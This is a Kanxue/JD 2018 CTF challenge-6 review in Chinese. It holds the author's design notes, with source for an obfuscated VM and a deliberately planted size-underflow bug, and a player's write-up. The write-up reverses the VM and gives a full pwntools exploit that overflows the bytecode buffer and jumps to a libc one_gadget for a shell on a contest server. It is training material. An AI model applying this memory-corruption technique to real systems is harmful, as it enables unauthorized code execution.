查看原文
其他

看雪.京东 2018 CTF 第六题点评与解析

看雪CTF 看雪学院 2019-05-27

昨晚,德国队领盒饭了

迷弟迷妹们纷纷哭晕在厕所。

天台上的人都让一让,德国的球迷也要来了

希望各位CTF的选手们,能够摆正心态哦~

下一个冠军就是你~


来看看过去的第六题结束后,

第六题出题者以被15人攻破的成绩,位列第三位


本题过后 攻击方前十名变化不大:

jackandkx 前进一位,上升至第八位

wjbsyc 成功进入前十名


革命尚未成功,朋友们仍需努力,

 加油!



看雪版主&评委 netwind 点评


本题是一道逆向和漏洞利用相结合的题目,在程序开头,加了个hash check,然后实现了一个简单的VM,漏洞利用部分需要借助堆漏洞并构造ROP链来获得SHELL。解此题需要掌握逆向和堆漏洞利用技术。



看雪.京东 2018 CTF 第六题 作者简介


poyoten

bbs.pediy.com/user-747150

第六题出题者简介:

看雪ID:poyoten,方向:二进制,ChaMd5安全团队核心成员,业余爱好者。上学期间看过一年的安全杂志,认识了看雪,后来因为种种原因中断了学习。2016年了解到CTF的存在,重新出发,继续二进制的学习征程。希望大家能多指教。




看雪.京东 2018 CTF 第六题 设计思路


题目简要说明


感觉后面没有多少时间参与看雪的比赛了,从2016年第一次知道看雪的比赛以来,一直也没有参与防守方,为了弥补这个缺憾,5月底有了出题的想法。


过本来是出了个堆利用的pwn题,在试做过程中,我发现有撞题的嫌疑,再加上感觉也不太好。所以就另出个题————这个不三不四的pwn题,其实利用上很简单的。 


大致思路

    

人个认为,二进制方向,不管是逆向还是pwn,源于一处,归于同宗。都是对代码的理解与掌控过程,以及辅助此过程的工具编写。


除了一些高端CTF比赛,很难看到逆向与pwn结合一起的。所以我想出一题有基本代码阅读能力要求的pwn题,pwn的过程很简单,但先要弄明白题的意思及漏洞点。


开始的思路是扁平化控制流+堆利用,但是用clang似乎违背了逆向题的出题要求,我想pwn题也不能用clang,这样才公平吧。

所以,简单调整了下思路,硬编码简单vm+正常堆利用leak+rop。

此外,在程序开头,还加了个hash check,一是为了过滤一些无意思的扫描,二是也是最基本的代码阅读能力的测试。 具体的hash算法为BKDRHash,我想对所有参赛人员来说,这应该没什么影响的,只是多了一环节而已。

 

程序功能

程序主要功能如下打印菜单:


void menu() {
puts("=======MENU========");
puts("1. Malloc");
puts("2. Show");
puts("3. Free");
puts("4. Exit");
printf(">> ");
}


Malloc :申请chunk并能写入一些content。 Show :打印写入的content。 Free :释放chunk,并清空堆指针。


保存堆指针的全局变量只能保存最近一次申请的堆指针。

为了屏蔽heap攻击手法, Show 只有一次leak机会,然后标准输出会被关闭。 

 


简单vm及小伎俩


程序菜单选择到三大功能的函数调用全被改写成了 jmp rax 的形式。

  

void main_routing(){
uint32 opt;
menu();
opt = read_num();
if (opt > 0 && opt < 4){
__asm__ __volatile__(
"lea %0,%%rax\n\t"
"movzx %1,%%rcx\n\t"
"dec %%rcx\n\t"
"not %%rcx\n\t"
"movq -0x10(%%rax,%%rcx,8),%%rdi\n\t"
"movq -56(%%rax,%%rcx,8),%%rsi\n\t"
"xor %%rsi,%%rdi\n\t"
"movq %%rdi,-0x60(%%rsp)\n\t"
"movq -48(%%rax),%%rdi\n\t"
"movq -88(%%rax),%%rsi\n\t"
"xor %%rsi,%%rdi\n\t"
"movq %%rdi,-0x8(%%rsp)\n\t"
"movq -56(%%rax),%%rsi\n\t"
"movq -96(%%rax),%%rax\n\t"
"xor %%rsi,%%rax\n\t"
"movq %%rax,-0x68(%%rsp)\n\t"
"movq %%rbp,-0x10(%%rsp)\n\t"
"lea -0x10(%%rsp),%%rsp\n\t"
"movq %%rsp,%%rbp\n\t"
"sub $0x88,%%rsp\n\t""jmp %%rax"
::
"m"(buffer),"m"(opt)
:
);
}
}


其实上段内联汇编中,在栈区设置正常调用时的栈区排定,并把调用的返回地址设置成了当前函数的入口附近,形成了 jmp 变 call 及功能选择的循环。


实际此处 jmp rax 是调用了简单vm的 handler 。将实际功能函数放在了栈区。然后通过一段预设的opcode,调用真实的功能函数,实际过程就是设置正常


函数调用时的 push ret_address ,然后 jmp 。


这段vm代码功能简单,主要是能进行一些算术运算,及opcode相对寻址取值,一小段范围栈区的相对寻址及读写值,绝对地址jmp功能。代码如下:


void vm(){
__asm__ __volatile__(
"ret\n\t"
"sub $0x70,%rsp\n\t"
);
uint64 pos = 0;
uint64 op = 0;
uint64 ra = 0;
uint64 rb = 0;
uint64 rc = 0;
uint64 rd = 0;
uint64 re = 0;
uint64 rf = 0;
while(1){
op = (uint64)*(char*)(opcode+pos);
switch(op){
case 1:
ra = (uint64)*(uint8*)(opcode+pos+1);
pos += 2;
break;
case 2:
rc = (uint64)*(uint8*)(opcode+ra);
pos += 1;
break;
case 3:
rd = *(uint64*)(opcode+ra);
pos += 1;
break;
case 4:
re = *(uint64*)(opcode+ra);
pos += 1;
break;
case 5:
rd -= re;
pos += 1;
break;
case 6:
rd += re;
pos += 1;
break;
case 7:
rd *= re;
pos += 1;
break;
case 8:
rd /= re;
pos += 1;
break;
case 9:
rd ^= re;
pos += 1;
break;
case 10:
rd &= re;
pos += 1;
break;
case 11:
rd |= re;
pos += 1;
break;
case 12:
if(rd ==re)
rf = 0;
elserf = 1;
pos += 1;
break;
case 13:
if(!rf)
pos = (uint64)*(uint8*)(opcode+pos);
else
pos += 2;
break;
case 14:
rd = rc;
pos += 1;
break;
case 15:
re = rc;
pos += 1;
break;
case 16:
rc = rd;
pos += 1;
break;
case 17:
rc = re;
pos += 1;
break;
case 18:
rd = re;
pos += 1;
break;
case 19:
rd = *(uint64*)(&pos-ra);
pos += 1;
break;
case 20:
*(uint64*)(&pos-ra) = rd;
pos += 1;
break;
case 21:
rc++;
pos += 1;
break;
case 22:
pos += 1;
__asm__ __volatile__(
"movq %0,%%rax\n\t"
"jmp %%rax"
::
"m"(rd)
:
);
break;
default:
__asm__ __volatile__(
"add $0x80,%rsp\n\t"
);
return;
}
}
}


看上段代码的开头处,就能发现,加了点无用的干扰代码,上面这段代码在ida中不处理是没办法f5看伪代码的。 


     

漏洞点设置

                 

全题唯一一个预留的直接漏洞点在 malloc 功能中,此函数要求申请的chunk size小于128,然后读取大小最大为size-1的数据到BSS段的暂存区,然后将读取的数据copy到chunk中。

void func_malloc() {
int i = 0;
struct pool_s* pool = &ppool;
printf("Size :");
size_t size = read_num();
if (size > 128){
return;
}
void *ptr = malloc(size);
if(ptr == NULL ) {
puts("error.");
} else {
printf("Content :");
uint64 count = read_str(buffer, (size-1)&0xff);
memcpy(ptr,buffer,count);
pool->addr = ptr;
pool->size = size;
}
}


这里没有检查size必须大于0,而且读取的数据大小是size-1,如果size为0,则chunk申请是成功的,而且读取的数据大小就比较大了(这里作了 (size-1)&0xff 处理),导致在BSS段的 buffer 溢出(堆溢出不讨论了,在各种限制条件下,应该不太好利用)。

buffer 下面就是存储opcode的地方,溢出后可改写opcode,通过vm handler实现改写栈区,跳转程序的功能,能轻松构造不是太长的ROP链。

  


libc leak


全题只能leak一次,然后就会关闭输出。这是为了屏蔽有可能的堆利用方法。


而leak方法则比较简单,只是small chunk在free时的正常 malloc_consolidate 操作,就能leak top chunk 的指针地址。 测试代码: 


char* h = malloc(16);

printf("0:%p\n",h);
free(h);
h = malloc(32);
printf("1:%p\n",h);
free(h);
h = malloc(127);
printf("2:%p\n",h);
free(h);
h = malloc(16);
printf("3:%p\n",h);
printf("%016lX,%016lX\n",*(long*)h,*(long*)(h+8));


输出:


0:0x1716010
1:0x1716030
2:0x1716060
3:0x1716010
00007F767E7887B8,00007F767E7887B8


有了libc地址,就能随意rop到shell了。


还有个小问题,因为close了标准输出,所以不能直接得到flag,我建议的操作是两个:一是直接通过重定向, ls 1>&0 ;二是通过ROP时,调用 dup 复制标准输入。


这两种方法能成的原因在于,此题的标准输入输出已经变成了可读写的socket。



看雪.京东 2018 CTF 第六题解析


*本解析来自看雪论坛acdxvfsvd


这一个pwn题,感觉也还是比较偏逆向……


程序分析

IDA载程序可以发现程序先做了一个proof of work验证,自己手写了一个简单的哈希函数,随机生成4个0x30 ~ 0x5B之间的字节,当成int32型做两次数学运算,然后再当成字符串生成哈希值。

 

算法:

def gen_num(n):
   n = (214013 * n + 2531011) & 0xFFFFFFFF
   res = p32(n)
   n = (214013 * n + 2531011) & 0xFFFFFFFF
   res += p32(n)
   return res  

def hashss(s):
   val = 0
   for i in range(8):
       val = (val * 0x83 + ord(s[i])) & 0xFFFFFFFF
   return val


写一个函数,爆破4个字节即可,注意输入的应该是4个字节被做两次数学运算后的8个字节。

 

进了程序流程以后可以看到控制流程的函数非常的诡异:

.text:000055874A0ED470                 push    rbp
.text:000055874A0ED471                 mov     rbp, rsp
.text:000055874A0ED474                 sub     rsp, 10h
.text:000055874A0ED478
.text:000055874A0ED478 main_func:                              ; DATA XREF: init_table+DDo
.text:000055874A0ED478                 call    menu
.text:000055874A0ED47D                 call    read_num
.text:000055874A0ED482                 mov     [rbp+opt], eax
.text:000055874A0ED485                 mov     eax, [rbp+opt]
.text:000055874A0ED488                 test    eax, eax
.text:000055874A0ED48A                 jz      short locret_55874A0ED4EE
.text:000055874A0ED48C                 mov     eax, [rbp+opt]
.text:000055874A0ED48F                 cmp     eax, 3
.text:000055874A0ED492                 ja      short locret_55874A0ED4EE
.text:000055874A0ED494                 lea     rax, src
.text:000055874A0ED49B                 movzx   rcx, byte ptr [rbp+opt]
.text:000055874A0ED4A0                 dec     rcx
.text:000055874A0ED4A3                 not     rcx
.text:000055874A0ED4A6                 mov     rdi, [rax+rcx*8-10h]
.text:000055874A0ED4AB                 mov     rsi, [rax+rcx*8-38h]
.text:000055874A0ED4B0                 xor     rdi, rsi
.text:000055874A0ED4B3                 mov     [rsp+10h+var_70], rdi
.text:000055874A0ED4B8                 mov     rdi, [rax-30h]
.text:000055874A0ED4BC                 mov     rsi, [rax-58h]
.text:000055874A0ED4C0                 xor     rdi, rsi
.text:000055874A0ED4C3                 mov     [rsp+10h+var_18], rdi
.text:000055874A0ED4C8                 mov     rsi, [rax-38h]
.text:000055874A0ED4CC                 mov     rax, [rax-60h]
.text:000055874A0ED4D0                 xor     rax, rsi
.text:000055874A0ED4D3                 mov     [rsp+10h+var_78], rax
.text:000055874A0ED4D8                 mov     [rsp+10h+var_20], rbp
.text:000055874A0ED4DD                 lea     rsp, [rsp-10h]
.text:000055874A0ED4E2                 mov     rbp, rsp
.text:000055874A0ED4E5                 sub     rsp, 88h
.text:000055874A0ED4EC                 jmp     rax
.text:000055874A0ED4EE ; ---------------------------------------------------------------------------
.text:000055874A0ED4EE
.text:000055874A0ED4EE locret_55874A0ED4EE:                    ; CODE XREF: main_func_0+1Aj
.text:000055874A0ED4EE                                         ; main_func_0+22↑j
.text:000055874A0ED4EE                 leave
.text:000055874A0ED4EF                 retn
.text:000055874A0ED4EF main_func_0     endp


将BSS段的某几个值异或,某几个放在栈里,固定的一个jmp过去。


利用JumpToXref功能,寻找这几个值被引用的地方,发现在init_array中有初始化函数:

v3 = __readfsqword(0x28u);
fd = open("/dev/urandom", 0);
for ( i = 0; i <= 4; ++i )
 read(fd, (char *)src - 64LL - 8 * i, 8uLL);
add_ptr = add_xor ^ (unsigned __int64)add;
show_ptr = show_xor ^ (unsigned __int64)show;
del_ptr = del_xor ^ (unsigned __int64)del;
main_ptr = main_xor ^ (unsigned __int64)&main_func;
vm_ptr = vm_xor ^ (unsigned __int64)vm_func;
*(_QWORD *)bytecodes = 0x106040F01130301LL;
*(_QWORD *)&bytecodes[8] = 0x4000161302011409LL;
*(_DWORD *)&bytecodes[16] = 0;
*(_WORD *)&bytecodes[20] = 0;
bytecodes[22] = 0;
close(fd);
return __readfsqword(0x28u) ^ v3;


程序把主要的几个功能函数写入到了bss段里,并和随机数异或,到需要用到的时候再动态取出。


用于跳转的固定函数是个VM解析器,字节码被提前写入BSS段。


漏洞

一开始习惯性的去找free函数的问题,发现只能free之前刚malloc的一块堆,并且free之后指针已经置零。show函数只能show一次,之后便会关闭stdout和stderr,这些地方似乎没有漏洞。


后来发现,add函数存在一个不太明显的整数溢出:

printf("Size :");
 result = read_num();
 size_8 = (unsigned int)result;
 if ( (unsigned int)result > 0x80uLL )
   return result;
 dest = malloc((unsigned int)result);
 if ( dest )
 {
   printf("Content :");
   n = read_buf(src, (unsigned __int8)(size_8 - 1));
   memcpy(dest, src, n);
   curr_chunk.ptr = (__int64)dest;
   result = (unsigned __int64)&curr_chunk;
   curr_chunk.size = size_8;
 }
 else
 {
   result = puts("error.");
 }
 return result;
}


如果读入0,满足了unsigned int小于0x80的条件,malloc(0)可以正常返回,read_buf的第二个参数便会变成0 - 1 = 0xFF,超过了128,可以在BSS段溢出到VM的字节码。



VM逆向


经过一番分析,标了操作数和寄存器之后的VM函数:

__int64 v1; // rt1
void *__ptr32 *result; // rax
__int64 v3; // rax

a1[-1].pc = 0LL;
a1[-1].IR = 0LL;
a1[-1]._AX = 0LL;
a1[-1].field_38 = 0LL;
a1[-1]._BX = 0LL;
a1[-1].func_ptr = 0LL;
a1[-1].num2 = 0LL;
a1[-1].jmp_flag = 0LL;
while ( 2 )
{
  a1[-1].IR = bytecodes[a1[-1].pc];
  v1 = a1[-1].IR;
  result = off_55874A0EDA1C;
  switch ( (unsigned __int64)a1 )
  {
    case MOV_AX:
      a1[-1]._AX = (unsigned __int8)bytecodes[a1[-1].pc + 1];
      a1[-1].pc += 2LL;
      continue;
    case MOV_BX__AX_:
      a1[-1]._BX = (unsigned __int8)bytecodes[a1[-1]._AX];
      ++a1[-1].pc;
      continue;
    case MOV_FUNC__AX_:
      a1[-1].func_ptr = *(_QWORD *)&bytecodes[a1[-1]._AX];
      ++a1[-1].pc;
      continue;
    case MOV_NUM__AX_:
      a1[-1].num2 = *(_QWORD *)&bytecodes[a1[-1]._AX];
      ++a1[-1].pc;
      continue;
    case SUB_FUNC_NUM:
      a1[-1].func_ptr -= a1[-1].num2;
      ++a1[-1].pc;
      continue;
    case ADD_FUNC_NUM:
      a1[-1].func_ptr += a1[-1].num2;
      ++a1[-1].pc;
      continue;
    case MUL_FUNC_NUM:
      a1[-1].func_ptr *= a1[-1].num2;
      ++a1[-1].pc;
      continue;
    case DIV_FUNC_NUM:
      a1[-1].func_ptr = (unsigned __int64)a1[-1].func_ptr / a1[-1].num2;
      ++a1[-1].pc;
      continue;
    case XOR_FUNC_NUM:
      a1[-1].func_ptr ^= a1[-1].num2;
      ++a1[-1].pc;
      continue;
    case AND_FUNC_NUM:
      a1[-1].func_ptr &= a1[-1].num2;
      ++a1[-1].pc;
      continue;
    case OR_FUNC_NUM:
      a1[-1].func_ptr |= a1[-1].num2;
      ++a1[-1].pc;
      continue;
    case CMP_FUNC_NUM:
      a1[-1].jmp_flag = a1[-1].func_ptr != a1[-1].num2;
      ++a1[-1].pc;
      continue;
    case JNZ:
      if ( a1[-1].jmp_flag )
        v3 = a1[-1].pc + 2;
      else
        v3 = (unsigned __int8)bytecodes[a1[-1].pc];
      a1[-1].pc = v3;
      continue;
    case MOV_FUNC_BX:
      a1[-1].func_ptr = a1[-1]._BX;
      ++a1[-1].pc;
      continue;
    case MOV_NUM_BX:
      a1[-1].num2 = a1[-1]._BX;
      ++a1[-1].pc;
      continue;
    case MOV_BX_FUNC:
      a1[-1]._BX = a1[-1].func_ptr;
      ++a1[-1].pc;
      continue;
    case MOV_BX_NUM:
      a1[-1]._BX = a1[-1].num2;
      ++a1[-1].pc;
      continue;
    case MOV_FUNC_NUM:
      a1[-1].func_ptr = a1[-1].num2;
      ++a1[-1].pc;
      continue;
    case MOV_FUNC__BP_sub_AX_:
      a1[-1].func_ptr = *(&a1[-1].pc - a1[-1]._AX);
      ++a1[-1].pc;
      continue;
    case MOV__BP_sub_AX__FUNC:
      *(&a1[-1].pc - a1[-1]._AX) = a1[-1].func_ptr;
      ++a1[-1].pc;
      continue;
    case INC_BX:
      ++a1[-1]._BX;
      ++a1[-1].pc;
      continue;
    case CALL_FUNC:
      ++a1[-1].pc;
      result = (void *__ptr32 *)((__int64 (*)(void))a1[-1].func_ptr)();
      break;
    default:
      return result;
  }
  break;
}
return result;


// PC的内容当PC指针用,PC的地址当基址寄存器用……膜出题人……


原来的字节码对应的指令:

0 MOV AX, 3
2 MOV FUNC, [BP - AX]
3 MOV AX, 0xF
5 MOV NUM, [bytecode + AX]
6 ADD FUNC, NUM
7 MOV AX, 9
9 MOV [BP - AX], FUNC
A MOV AX, 2
C MOV FUNC, [BP - AX]
D CALL FUNC


可以看到FUNC是从栈上直接取来的函数地址,可以跳过去执行。那么可以从栈上取到一个libc中的地址。


经过调试,发现栈上存在一个write+0x10的地址,在栈上的相对偏移为13,相对libc的偏移为0xf72c0,相距最近的有一个one_gadget,偏移为0xf1147,相对偏移是-0x6179。

 

那么可以写出如下的指令:

0 MOV AX, 13
2 MOV FUNC, [BP - AX] # write + 10
3 MOV AX, 8
5 MOV NUM, [bytecode + AX]
6 SUB FUNC, NUM
7 CALL FUNC
8 dq 0x6179


翻译成字节码,利用溢出来覆盖,再触发一次VM,得到一个shell。



EXP

from pwn import *

#p = process('./noheap')
p = remote('139.199.99.130', 8989)

'''
target opcode:
0 MOV AX, 13
2 MOV FUNC, [BP - AX] # write + 10
3 MOV AX, 8
5 MOV NUM, [AX]
6 SUB FUNC, NUM
7 CALL FUNC
8 dq 0x6179
'''


target_opcode = [
   p8(1), p8(13),
   p8(0x13),
   p8(1), p8(8),
   p8(4),
   p8(5),
   p8(0x16),
   p64(0x6179)
]

def gen_num(n):
   n = (214013 * n + 2531011) & 0xFFFFFFFF
   res = p32(n)
   n = (214013 * n + 2531011) & 0xFFFFFFFF
   res += p32(n)
   return res  

def hashss(s):
   val = 0
   for i in range(8):
       val = (val * 0x83 + ord(s[i])) & 0xFFFFFFFF
   return val

def proof(h):
   for x1 in range(48, 48 + 0x2B):
       for x2 in range(48, 48 + 0x2B):
           for x3 in range(48, 48 + 0x2B):
               for x4 in range(48, 48 + 0x2B):
                   n = (x1 << 24) | (x2 << 16) | (x3 << 8) | (x4)
                   #print hex(n)
                   res = gen_num(n)
                   #print res
                   if (hashss(res) == h):
                       return res

p.recvuntil("Hash:")
h = int(p.recvline().strip(), 16)
print hex(h)
r = proof(h)
print r
p.sendline(r)

p.sendline('1')
p.recvuntil('Size :')
p.sendline('0')
p.recvuntil('Content :')
p.sendline('A' * 128 + ''.join(target_opcode))

p.sendline('1')

p.interactive()



CTF 寄语


netwind

bbs.pediy.com/user-39732

netwind:

2017年,看雪.Wifi万能钥匙 2017CTF年中赛和看雪.TSRC 2017CTF秋季赛连续成功举办,目前看雪CTF竞赛已经是国内逆向领域最专业、影响力最广的赛事。2018年,看雪CTF竞赛即将拉开序幕。本届大赛将依然严格按照竞赛规则进行,保证大赛的公平、公正、公开。


瑾代表看雪2018CTF大赛组委会并以大赛评委的名义对所有参加比赛的选手表示热烈的欢迎!相信所有参赛选手都会有不一样的收获,相信此次大赛会因你们精湛的技术而变得分外精彩!再此特别感谢所有关注、支持和帮助大赛的各界朋友,也希望大家持续关注和支持看雪CTF大赛!


我们希望能有更多的朋友来参与看雪CTF大赛,设计优质的作品,分享奇特的破解思路,结识朋友,探讨交流,共同步入技术的巅峰!



iweizime

bbs.pediy.com/user-677218

iweizime:

祝各位CTFer看汇编如同看小说,在看雪CTF中取得好成绩,更重要的是在比赛过程中能学到新的东西,提高自己的知识水平。



合作伙伴

京东集团是中国收入最大的互联网企业之一,于2014年5月在美国纳斯达克证券交易所正式挂牌上市,业务涉及电商、金融和物流三大板块。

 

京东是一家技术驱动成长的公司,并发布了“第四次零售革命”下的京东技术发展战略。信息安全作为保障业务发展顺利进行的基石发挥着举足轻重的作用。为此,京东信息安全部从成立伊始就投入大量技术和资源,支撑京东全业务线安全发展,为用户、供应商和京东打造强大的安全防护盾。

 

随着京东全面走向技术化,大力发展人工智能、大数据、机器自动化等技术,将过去十余年积累的技术与运营优势全面升级。面向AI安全、IoT安全、云安全的机遇及挑战,京东安全积极布局全球化背景下的安全人才,开展前瞻性技术研究,成立了硅谷研发中心、安全攻防实验室等,并且与全球AI安全领域知名的高校、研究机构建立了深度合作。

 

京东不仅积极践行企业安全责任,同时希望以中立、开放、共赢的态度,与友商、行业、高校、政府等共同建设互联网安全生态,促进整个互联网的安全发展。


CTF 旗帜已经升起,等你来战!

扫描二维码,立即参战!



看雪.京东 2018 CTF 





看雪2018安全开发者峰会

2018年7月21日,拥有18年悠久历史的老牌安全技术社区——看雪学院联手国内最大开发者社区CSDN,倾力打造一场技术干货的饕餮盛宴——2018 安全开发者峰会,将在国家会议中心隆重举行。会议面向开发者、安全人员及高端技术从业人员,是国内开发者与安全人才的年度盛事。此外峰会将展现当前最新、最前沿技术成果,汇聚年度最强实践案例,为中国软件开发者们呈献了一份年度技术实战解析全景图。



戳下图↓,立即购票,享5折优惠!







戳原文,立刻加入战斗!

    您可能也对以下帖子感兴趣

    文章有问题?点此查看未经处理的缓存